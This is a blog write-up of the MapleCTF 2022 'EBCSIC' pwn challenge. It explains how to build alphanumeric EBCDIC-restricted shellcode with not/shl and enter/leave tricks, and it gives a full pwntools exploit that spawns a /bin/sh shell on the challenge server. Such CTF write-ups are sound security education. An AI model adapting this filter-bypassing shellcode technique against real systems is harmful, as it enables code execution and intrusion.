MapleCTF 2022
Last weekend I played MapleCTF with ARESx. For this event we teamed up with RCX and played as RCX/ARESx. Overall this CTF went very well as we managed to get 8th place :)
I didn’t have that much time to play and therefore only looked at one pwn challenge named EBCSIC
.
EBCSIC
EBCSIC was a shellcoding challenge based on the Extended Binary Coded Decimal Interchange Code (EBCSIC).
The challenge consisted of a single chal.py
file:
#!/usr/bin/env python3
import string
import ctypes
import os
import sys
import subprocess
ok_chars = string.ascii_uppercase + string.digits
elf_header = bytes.fromhex("7F454C46010101000000000000000000020003000100000000800408340000000000000000000000340020000200280000000000010000000010000000800408008004080010000000000100070000000000000051E5746400000000000000000000000000000000000000000600000004000000")
print("Welcome to EBCSIC!")
sc = input("Enter your alphanumeric shellcode: ")
print(sc)
try:
assert all(c in ok_chars for c in sc)
sc_raw = sc.encode("cp037")
assert len(sc_raw) <= 4096
except Exception as e:
print("Sorry, that shellcode is not acceptable.")
exit(1)
print("Looks good! Let's try your shellcode...")
sys.stdout.flush()
memfd_create = ctypes.CDLL("libc.so.6").memfd_create
memfd_create.argtypes = [ctypes.c_char_p, ctypes.c_int]
memfd_create.restype = ctypes.c_int
fd = memfd_create(b"prog", 0)
os.write(fd, elf_header)
os.lseek(fd, 4096, 0)
os.write(fd, sc_raw.ljust(4096, b"\xf4"))
os.execle("/proc/self/fd/%d" % fd, "prog", {})
As can be seen, the challenge lets us input up to 4096 characters which need to be either uppercase ASCII (A-Z) or digits (0-9). It then encodes the input into EBCDIC, creates an in memory ELF, writes the encoded input into the _start
function of the ELF and runs it.
Encoding the allowed characters we end up with the bytes \xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9
. These are all the bytes we can use to build our shellcode. Looking at the opcodes we can quickly see that we won’t be able to write a execve("/bin/sh", 0, 0)
shellcode by just using these opcodes. We therefore need a different way to build our shellcode.
To make debugging easier we can add ö
to the allowed characters which will allow us to add an int3
instruction for debugging purposes. Simply running the binary with a single breakpoint we can see the following memory layout:
There are two regions mapped rwx
. The first region contains our shellcode, the second is empty. The binary does not have PIE, thefore the addresses of the first two regions are static won’t be different on the challenge server.
Based on the memory layout and the available opcodes our exploitation plan is to find a way to write arbitrary values to memory (our /bin/sh
shellcode) and then return to it.
Getting arbitrary values into a register
Before writing anything to memory we need to get arbitrary values into a register. To do this we can use a combination of not
and shl
operations. To set a bit in the register while not losing its contents we not
the register, shl
by 1 and then not
it again. Based on this we can write the following function which puts arbitrary values into ebp
for us:
def encode_addr(addr):
sc = b""
bits_set = [False] * 0x20
for i in range(0x20):
num = 1 << i
if addr & num:
bits_set[i] = True
for i in reversed(range(0x20)):
if bits_set[i]:
sc += asm("not ebp")
sc += asm("shl ebp")
sc += asm("not ebp")
else:
sc += asm("shl ebp")
return sc
Writing to memory
Having the ability to get arbitrary values into a register we can now focus on finding a way to write to memory. For this we can use the enter
instruction which pushes ebp
onto the stack. We combine this with the leave
instruction to set esp to arbitrary values. Based on this we can write a function that writes 32 bit values to an arbitrary addresses:
def change_esp(addr):
sc = b""
sc += encode_addr(addr)
sc += asm("leave")
return sc
def write_dword(val, off):
print("Write: ", hex(val))
sc = b""
# prevent segfault
sc += change_esp(0x8058000 - off)
sc += encode_addr(val)
sc += asm("enter 0xc1c1, 0xc1")
return sc
Since we are limited in the bytes we can send we have to use high values as operands to the enter
instruction. Due to this we need to be aware of two things:
- We have to make sure that
esp - operand1
is a valid address, elseenter
will segfault. - Due to the nesting level being > 0 (second operand)
enter
will push additional values onto the stack before pushingebp
which contains our arbitrary value.
In order to prevent the segfault we can chose an address somewhere in the rwx
memory region which is far enough away from unmapped regions. To deal with enter
pushing additional values onto the stack we have to write our shellcode in reverse since otherwise the additional push
instructions would destroy some of the values we have already pushed.
Being able to write arbitrary values into arbitrary memory locations we can now simply write an execve("/bin/sh", 0, 0)
shellcode somewhere and return to it.
Final exploit
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 127.0.0.1 --port 4000
# dont forget to: patchelf --set-interpreter /tmp/ld-2.27.so ./test
# dont forget to set conext.arch. E.g amd64
from pwn import *
import string
# Set up pwntools for the correct architecture
context.update(arch='i386')
exe = 'python3'
context.terminal = ['tmux', 'new-window']
argv = ["chal.py"]
env = {}
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '127.0.0.1'
port = int(args.PORT or 4000)
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
def encode_addr(addr):
sc = b""
bits_set = [False] * 0x20
for i in range(0x20):
num = 1 << i
if addr & num:
bits_set[i] = True
for i in reversed(range(0x20)):
if bits_set[i]:
sc += asm("not ebp")
sc += asm("shl ebp")
sc += asm("not ebp")
else:
sc += asm("shl ebp")
return sc
def encode_sc(sc_raw):
ok_chars = string.ascii_uppercase + string.digits
mapping = {}
for x in ok_chars:
mapping[x.encode("cp037")] = x
print(sc_raw)
out = ""
for x in sc_raw:
if p8(x) not in mapping.keys():
print("Invalid opcode: ", hex(x))
exit(0)
out += mapping[p8(x)]
return out.encode()
def change_esp(addr):
sc = b""
sc += encode_addr(addr)
sc += asm("leave")
return sc
def write_dword(val, off):
print("Write: ", hex(val))
sc = b""
# prevent segfault
sc += change_esp(0x8058000 - off)
sc += encode_addr(val)
sc += asm("enter 0xc1c1, 0xc1")
return sc
def pad(amt):
sc = b""
sc += asm("shl edx")*amt
return sc
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
# pwndbg tele command
gdbscript = '''
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
'''
b'\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9'
'''
sc = pad(0x20)
# memory location of our shellcode
sc += write_dword(0x8057dc8-0x4, 0x400)
bin_sh = asm(shellcraft.sh())
bin_sh = bin_sh.rjust(60, b'\x90')
bin_sh += p32(0x8057dc8)
cnt = 0
for i in reversed(range(0, len(bin_sh), 0x4)):
sc += write_dword(u32(bin_sh[i:i+4]), 0x200 + 0x4 * cnt)
cnt += 1
print(sc)
# ret to shellcode
sc += encode_addr(0x8058000-0x400-0x4)
sc += asm("leave")
sc += asm("ret")
sc = encode_sc(sc)
print("sc len: ", hex(len(sc)))
#int3 = 'ö'.encode()
#sc = sc + int3
io = start(argv, env=env)
io.sendlineafter("shellcode: ", sc)
io.interactive()